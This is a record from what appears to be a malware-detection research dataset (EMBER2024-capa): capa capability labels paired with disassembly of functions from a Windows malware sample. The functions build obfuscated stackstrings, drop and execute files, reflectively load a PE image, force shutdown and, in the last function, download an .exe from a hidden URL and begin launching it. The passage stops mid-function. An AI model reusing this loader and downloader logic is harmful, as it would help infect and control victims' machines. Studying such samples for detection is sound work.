joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403700
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x428
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
stosw word es:[edi], ax
stosb byte es:[edi], al
call esi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x30]
push eax
rep stosd dword es:[edi], eax
call esi
mov al, 0x65
mov dl, 0x53
mov byte [esp + 0x13], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x22], al
mov byte [esp + 0x27], al
mov cl, 0x72
mov al, 0x73
push 0
mov byte [esp + 0xc], dl
mov byte [esp + 0xd], 0x59
mov byte [esp + 0xe], dl
mov byte [esp + 0xf], 0x54
mov byte [esp + 0x10], 0x45
mov byte [esp + 0x11], 0x4d
mov byte [esp + 0x12], 0x5c
mov byte [esp + 0x13], 0x43
mov byte [esp + 0x14], 0x75
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x18], 0x6e
mov byte [esp + 0x19], 0x74
mov byte [esp + 0x1a], 0x43
mov byte [esp + 0x1b], 0x6f
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x6c
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0x5c
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], cl
mov byte [esp + 0x28], 0x76
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], 0x5c
mov byte [esp + 0x2e], 0x25
mov byte [esp + 0x2f], al
mov byte [esp + 0x30], 0
call esi
mov eax, dword [esp + 0x434]
lea ecx, [esp + 8]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
call esi
mov edi, dword [esp + 0x43c]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x440]
push edi
push 1
push eax
lea ecx, [esp + 0x44]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00405cd0
add esp, 0x1c
push 0
call esi
pop edi
pop esi
add esp, 0x428
ret

Function at 0x403970
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9f58]
mov dword [ebx], 0x4112f0
test eax, eax
jbe 0x4039b4
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x318]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9f58]
inc edi
add esi, 4
cmp edi, eax
jb 0x403994
pop esi
pop ebp
mov ecx, ebx
call fcn.00404150
pop edi
pop ebx
ret
Function at 0x403ce0
Capabilities:
Check for time delay via gettickcount
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Get common file path
Get file attributes
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x158
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0
call esi
lea eax, [esp + 0x60]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebp, dword [esp + 0x170]
cmp ebp, 2
jne 0x403d84
mov al, 0x5c
push 0
mov byte [esp + 0x10], al
mov byte [esp + 0x15], al
mov al, 0x6c
mov byte [esp + 0x11], 0x54
mov byte [esp + 0x12], 0x65
mov byte [esp + 0x13], 0x6d
mov byte [esp + 0x14], 0x70
mov byte [esp + 0x16], 0x50
mov byte [esp + 0x17], al
mov byte [esp + 0x18], 0x75
mov byte [esp + 0x19], 0x67
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1c], 0x33
mov byte [esp + 0x1d], 0x32
mov byte [esp + 0x1e], 0x2e
mov byte [esp + 0x1f], 0x64
mov byte [esp + 0x20], al
mov byte [esp + 0x21], al
mov byte [esp + 0x22], 0
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x30]
push ecx
push edx
jmp 0x403dcb
mov al, 0x45
push 0
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], 0x52
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x25
mov byte [esp + 0x14], 0x64
mov byte [esp + 0x15], 0x2e
mov byte [esp + 0x16], al
mov byte [esp + 0x17], 0x58
mov byte [esp + 0x18], al
mov byte [esp + 0x19], 0
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x30]
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
call esi
lea edx, [esp + 0x2c]
lea eax, [esp + 0x60]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
call esi
push 0
push 0x80
push 2
push 0
push 2
lea ecx, [esp + 0x74]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov edi, eax
call esi
cmp edi, 0xffffffff
je 0x403ead
push 0
call esi
mov eax, dword [esp + 0x16c]
mov ecx, dword [esp + 0x168]
lea edx, [esp + 0x28]
push 0
push edx
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebp, 2
je 0x403ead
mov ecx, dword [0x416a08]
lea edx, [esp + 0x60]
push 0x2e
push edx
call fcn.00405080
test eax, eax
je 0x403ead
push 0
call esi
lea eax, [esp + 0x60]
mov byte [esp + 0x20], 0x6f
push eax
mov byte [esp + 0x25], 0x70
mov byte [esp + 0x26], 0x65
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x403ead
push 0
call esi
push 5
push 0
lea ecx, [esp + 0x68]
push 0
lea edx, [esp + 0x2c]
push ecx
push edx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x158
ret 0xc

Function at 0x403ec0
Capabilities:
Delete file

Disassembly:
mov eax, dword [str.Plugin32.dll]
push eax
call fcn.00402dd0
add esp, 4
push 0x4162d0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call fcn.004089d0
pop ecx
ret
Function at 0x403f00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
push esi
push 1
mov esi, ecx
push str.SeShutdownPrivilege
call fcn.00403fd0
mov cl, 0x6c
mov al, 0x45
mov byte [esp + 0xc], cl
mov byte [esp + 0xd], cl
mov cl, 0x69
mov byte [esp + 6], al
mov byte [esp + 0x10], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x15], cl
lea eax, [esp + 0x10]
lea ecx, [esp + 4]
mov dl, 0x78
push eax
push ecx
mov byte [esp + 0xc], 0x55
mov byte [esp + 0xd], 0x53
mov byte [esp + 0xf], 0x52
mov byte [esp + 0x10], 0x33
mov byte [esp + 0x11], 0x32
mov byte [esp + 0x12], 0x2e
mov byte [esp + 0x13], 0x64
mov byte [esp + 0x16], 0
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1e], 0x6e
mov byte [esp + 0x1f], 0x64
mov byte [esp + 0x20], 0x6f
mov byte [esp + 0x21], 0x77
mov byte [esp + 0x22], 0x73
mov byte [esp + 0x24], dl
mov byte [esp + 0x25], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x24]
push 0
push edx
call eax
push 0
push str.SeShutdownPrivilege
mov ecx, esi
call fcn.00403fd0
pop esi
add esp, 0x1c
ret 4

Function at 0x404063
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov ecx, dword [esp + 0x28]
push esi
mov dword [esi], 0x4112f8
mov dword [esi + 4], ecx
call fcn.00402270
mov al, 0x6c
mov cl, 0x45
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 0x18], cl
mov byte [esp + 0xa], cl
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
mov dl, 0x74
push eax
push ecx
mov byte [esp + 0x1c], 0x4b
mov byte [esp + 0x1e], 0x52
mov byte [esp + 0x1f], 0x4e
mov byte [esp + 0x21], 0x4c
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xf], 0x61
mov byte [esp + 0x10], dl
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x15], 0x6e
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 1
push 0
call eax
mov dword [esi + 8], eax
mov eax, esi
pop esi
add esp, 0x20
ret 4
Function at 0x404150
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov al, 0x45
push esi
mov esi, ecx
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov al, 0x6c
mov cl, 0x65
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
mov byte [esp + 5], al
mov byte [esp + 0xd], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
lea ecx, [esp + 0x10]
xor dl, dl
push eax
push ecx
mov dword [esi], 0x4112f8
mov byte [esp + 0x18], 0x4b
mov byte [esp + 0x1a], 0x52
mov byte [esp + 0x1b], 0x4e
mov byte [esp + 0x1d], 0x4c
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x24], dl
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xe], 0x6f
mov byte [esp + 0xf], 0x73
mov byte [esp + 0x11], 0x48
mov byte [esp + 0x12], 0x61
mov byte [esp + 0x13], 0x6e
mov byte [esp + 0x14], 0x64
mov byte [esp + 0x17], dl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 8]
push edx
call eax
pop esi
add esp, 0x1c
ret

Function at 0x404280
Capabilities:
Parse pe header

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov byte [ebp], 0x4d
mov byte [ebp + 1], 0x5a
cmp word [ebp], 0x5a4d
je 0x40429f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov ebx, dword [ebp + 0x3c]
add ebx, ebp
cmp dword [ebx], 0x4550
je 0x4042b3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [ebx + 0x50]
mov ecx, dword [ebx + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov edi, eax
test edi, edi
jne 0x4042e9
mov edx, dword [ebx + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov edi, eax
test edi, edi
jne 0x4042e9
pop edi
pop esi
pop ebp
pop ebx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
push 0x1000
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov eax, dword [ebx + 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x54]
push 4
push 0x1000
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp + 0x3c]
mov ecx, dword [ebx + 0x54]
add edx, ecx
mov ecx, dword [0x416a08]
push edx
push ebp
push eax
mov dword [esp + 0x20], eax
call fcn.00404e70
mov eax, dword [ebp + 0x3c]
mov ecx, dword [esp + 0x14]
add eax, ecx
push esi
push ebx
mov dword [esi], eax
push ebp
mov dword [eax + 0x34], edi
call fcn.004043d0
mov ecx, dword [ebx + 0x34]
mov eax, edi
add esp, 0xc
sub eax, ecx
je 0x404374
push eax
push esi
call fcn.00404770
add esp, 8
push esi
call fcn.004047f0
add esp, 4
test eax, eax
je 0x4043a4
push esi
call fcn.004045a0
mov edx, dword [esi]
add esp, 4
mov eax, dword [edx + 0x28]
test eax, eax
je 0x4043bb
add eax, edi
test eax, eax
je 0x4043a4
push 0
push 1
push edi
call eax
test eax, eax
jne 0x4043b4
push esi
call fcn.00404ab0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x10], 1
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4043d0
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections

Disassembly:
sub esp, 0x3c
mov eax, dword [esp + 0x48]
push ebx
push ebp
push esi
mov ebp, dword [eax + 4]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x28]
push edi
lea edx, [esp + 0x3c]
mov al, 0x45
mov bl, 0x6c
push ecx
push edx
mov byte [esp + 0x44], 0x4b
mov byte [esp + 0x45], al
mov byte [esp + 0x46], 0x52
mov byte [esp + 0x47], 0x4e
mov byte [esp + 0x48], al
mov byte [esp + 0x49], 0x4c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], bl
mov byte [esp + 0x50], 0
mov byte [esp + 0x34], 0x56
mov byte [esp + 0x35], 0x69
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x74
mov byte [esp + 0x38], 0x75
mov byte [esp + 0x39], 0x61
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x41
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x6f
mov byte [esp + 0x3f], 0x63
mov byte [esp + 0x40], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [esp + 0x10], eax
mov al, 0x65
mov cl, 0x6d
mov byte [esp + 0x19], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x18], cl
mov byte [esp + 0x1a], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x20]
push eax
push ecx
mov byte [esp + 0x28], 0x4d
mov byte [esp + 0x29], 0x53
mov byte [esp + 0x2a], 0x56
mov byte [esp + 0x2b], 0x43
mov byte [esp + 0x2c], 0x52
mov byte [esp + 0x2d], 0x54
mov byte [esp + 0x2e], 0x2e
mov byte [esp + 0x2f], 0x64
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0
mov byte [esp + 0x23], 0x73
mov byte [esp + 0x25], 0x74
mov byte [esp + 0x26], 0
call esi
push eax
call edi
mov edx, dword [esp + 0x58]
mov ebx, eax
xor ecx, ecx
mov dword [esp + 0x14], 0
mov eax, dword [edx]
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x404589
add esi, 0x10
cmp dword [esi], 0
jne 0x40453b
mov edx, dword [esp + 0x54]
mov edi, dword [edx + 0x38]
test edi, edi
jle 0x40456d
mov eax, dword [esi - 4]
push 4
push 0x1000
add eax, ebp
push edi
push eax
call dword [esp + 0x20]
push edi
push 0
push eax
mov dword [esi - 8], eax
call ebx
add esp, 0xc
jmp 0x40456d
mov edx, dword [esi - 4]
mov ecx, dword [esi]
push 4
push 0x1000
add edx, ebp
push ecx
push edx
call dword [esp + 0x20]
mov ecx, dword [esi + 4]
mov edi, eax
mov eax, dword [esi]
push eax
mov eax, dword [esp + 0x54]
add ecx, eax
push ecx
mov ecx, dword [0x416a08]
push edi
call fcn.00404e70
mov dword [esi - 8], edi
mov edx, dword [esp + 0x58]
mov eax, dword [esp + 0x14]
inc eax
add esi, 0x28
mov ecx, dword [edx]
xor edx, edx
mov dword [esp + 0x14], eax
mov dx, word [ecx + 6]
cmp eax, edx
jl 0x40450b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret
Function at 0x4045a0
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections

Disassembly:
sub esp, 0x3c
mov eax, dword [esp + 0x40]
xor ecx, ecx
push ebx
push ebp
mov eax, dword [eax]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [esp + 0x1c]
mov cx, word [eax + 0x14]
push edi
mov bl, 0x74
push edx
lea ebp, [ecx + eax + 0x18]
mov al, 0x45
mov byte [esp + 0x31], al
mov byte [esp + 0x34], al
lea eax, [esp + 0x30]
mov byte [esp + 0x30], 0x4b
push eax
mov byte [esp + 0x36], 0x52
mov byte [esp + 0x37], 0x4e
mov byte [esp + 0x39], 0x4c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x28], 0x56
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2d], 0x61
mov byte [esp + 0x2e], 0x6c
mov byte [esp + 0x2f], 0x46
mov byte [esp + 0x30], 0x72
mov byte [esp + 0x31], 0x65
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x33], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [esp + 0x3c]
lea edx, [esp + 0x2c]
push ecx
push edx
mov dword [esp + 0x1c], eax
mov byte [esp + 0x44], 0x56
mov byte [esp + 0x45], 0x69
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x75
mov byte [esp + 0x49], 0x61
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x50
mov byte [esp + 0x4c], 0x72
mov byte [esp + 0x4d], 0x6f
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], 0x65
mov byte [esp + 0x50], 0x63
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], 0
call esi
push eax
call edi
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0x10], 0
mov edi, dword [eax]
cmp word [edi + 6], 0
jbe 0x40475d
lea ebx, [ebp + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x4046fc
mov ecx, dword [ebx - 0x14]
mov edx, dword [ebx - 0x1c]
push 0x4000
push ecx
push edx
call dword [esp + 0x20]
jmp 0x40473d
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x414078]
je 0x404713
or dh, 2
mov ecx, dword [ebx - 0x14]
test ecx, ecx
jne 0x40472c
test al, 0x40
je 0x404723
mov ecx, dword [edi + 0x20]
jmp 0x40472a
test al, 0x80
je 0x40473d
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x40473d
lea eax, [esp + 0x1c]
push eax
push edx
push ecx
mov ecx, dword [ebx - 0x1c]
push ecx
call dword [esp + 0x28]
mov edx, dword [esp + 0x50]
mov eax, dword [esp + 0x10]
xor ecx, ecx
inc eax
mov edi, dword [edx]
add ebx, 0x28
mov dword [esp + 0x10], eax
mov cx, word [edi + 6]
cmp eax, ecx
jl 0x4046cb
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret
Function at 0x405bf6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x3a8], 0x52
mov byte [ebp - 0x3a7], 0x65
mov byte [ebp - 0x3a6], 0x67
mov byte [ebp - 0x3a5], 0x43
mov byte [ebp - 0x3a4], 0x6c
mov byte [ebp - 0x3a3], 0x6f
mov byte [ebp - 0x3a2], 0x73
mov byte [ebp - 0x3a1], 0x65
mov byte [ebp - 0x3a0], 0x4b
mov byte [ebp - 0x39f], 0x65
mov byte [ebp - 0x39e], 0x79
mov byte [ebp - 0x39d], bl
lea edx, [ebp - 0x3a8]
push edx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call edi
mov esi, eax
mov ecx, dword [ebp + 8]
push ecx
call esi
mov edx, dword [ebp - 0x2b4]
push edx
call esi
ret
Function at 0x406220
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.004060c0
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x406268
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x6d
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x13
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x406242
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret
Function at 0x406270
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
sub esp, 0x240
mov ax, word [0x414bb4]
mov cl, byte [0x414bb6]
push ebx
push esi
push edi
mov word [esp + 0x4c], ax
mov byte [esp + 0x4e], cl
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x4f]
rep stosd dword es:[edi], eax
mov dx, word [0x414bb0]
mov ecx, 0x3f
stosb byte es:[edi], al
mov al, byte [0x414bb2]
lea edi, [esp + 0x14f]
mov byte [esp + 0x14e], al
xor eax, eax
mov word [esp + 0x14c], dx
lea edx, [esp + 0x4c]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [esp + 0x14c]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xc], 0x48
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x10], 0x57
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov bl, 0x44
and ecx, 3
mov byte [esp + 0xf], bl
rep movsb byte es:[edi], byte [esi]
mov cl, 0x45
mov byte [esp + 0x15], bl
mov byte [esp + 0x13], cl
mov byte [esp + 0x16], cl
mov al, 0x41
mov dl, 0x52
mov bl, 0x53
mov cl, 0x49
mov byte [esp + 0xd], al
mov byte [esp + 0xe], dl
mov byte [esp + 0x11], al
mov byte [esp + 0x12], dl
mov byte [esp + 0x17], bl
mov byte [esp + 0x19], dl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1d], cl
mov byte [esp + 0x21], bl
mov al, 0x5c
mov bl, 0x73
mov cl, 0x74
mov dl, 0x65
mov byte [esp + 0x14], al
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x1b], 0x50
mov byte [esp + 0x1c], 0x54
mov byte [esp + 0x1e], 0x4f
mov byte [esp + 0x1f], 0x4e
mov byte [esp + 0x20], al
mov byte [esp + 0x22], 0x79
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], 0x6d
mov byte [esp + 0x27], al
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x6e
mov byte [esp + 0x38], al
mov byte [esp + 0x2b], cl
mov eax, 4
mov cl, 0x72
mov dword [esp + 0x48], eax
mov dword [esp + 0x44], eax
mov byte [esp + 0x2c], cl
mov byte [esp + 0x30], cl
mov byte [esp + 0x37], cl
lea eax, [esp + 0x3c]
lea ecx, [esp + 0xc]
push eax
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [esp + 0x39], 0x61
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x50
mov byte [esp + 0x3d], 0x6f
mov byte [esp + 0x3e], 0x63
mov byte [esp + 0x3f], dl
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x6f
mov byte [esp + 0x45], 0x30
mov byte [esp + 0x46], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 0x48]
lea eax, [esp + 0x40]
push edx
lea ecx, [esp + 0x48]
push eax
mov eax, dword [esp + 0x44]
push ecx
lea edx, [esp + 0x58]
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x40]
pop edi
pop esi
pop ebx
add esp, 0x240
ret
Function at 0x406440
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x24
push ebx
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0x10]
push eax
push 0x4120bc
push 1
push ebx
push 0x4120dc
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x406470
xor eax, eax
pop ebx
add esp, 0x24
ret
mov eax, dword [esp + 0x10]
lea edx, [esp + 4]
push 0
push edx
mov ecx, dword [eax]
push 0x4120cc
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x406491
xor eax, eax
pop ebx
add esp, 0x24
ret
mov eax, dword [esp + 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [esp + 4]
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0xc]
mov edx, dword [eax]
push ecx
push 1
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x406530
push edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
push 0x4120ac
mov edx, dword [eax]
push 0
push 0
push eax
call dword [edx + 0x24]
test eax, eax
jl 0x40650b
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push 0
mov word [esp + 0x20], 8
mov edx, dword [eax]
push ecx
push str.FriendlyName
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x406501
mov edx, dword [esp + 0x24]
inc ebx
push edx
call edi
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 8]
lea edx, [esp + 0x18]
push edx
lea edx, [esp + 0x10]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x4064bc
pop edi
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, ebx
pop ebx
add esp, 0x24
ret
Function at 0x407c70
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Download url
Receive data

Disassembly:
sub esp, 0x24
mov al, 0x2f
mov dl, 0x77
mov byte [esp + 5], al
mov byte [esp + 6], al
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov al, 0x61
mov byte [esp + 7], dl
mov byte [esp + 8], dl
mov byte [esp + 9], dl
mov byte [esp + 0x1a], al
mov byte [esp + 0x1c], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov cl, 0x74
mov dl, 0x2e
mov al, 0x65
push 0xa4cb80
mov byte [esp + 8], 0x68
mov byte [esp + 9], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], 0x70
mov byte [esp + 0xc], 0x3a
mov byte [esp + 0x12], dl
mov byte [esp + 0x13], 0x6c
mov byte [esp + 0x14], 0x68
mov byte [esp + 0x15], 0x64
mov byte [esp + 0x16], 0x6c
mov byte [esp + 0x17], 0x6a
mov byte [esp + 0x18], cl
mov byte [esp + 0x19], dl
mov byte [esp + 0x1a], 0x63
mov byte [esp + 0x1b], 0x6f
mov byte [esp + 0x1c], 0x6d
mov byte [esp + 0x1e], 0x6b
mov byte [esp + 0x1f], 0x73
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x23], cl
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], al
mov byte [esp + 0x27], 0x78
mov byte [esp + 0x28], al
mov byte [esp + 0x29], 0
call esi
push 0
push 0
lea eax, [esp + 0xc]
push str.C:Program_FilesCommon_FilesMicrosoft_Shareddata.exe
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
push 0x1388
call esi
push 5
push 0
push 0
push str.C:Program_FilesCommon_FilesMicrosoft_Shareddata.exe
push str.open
push 0
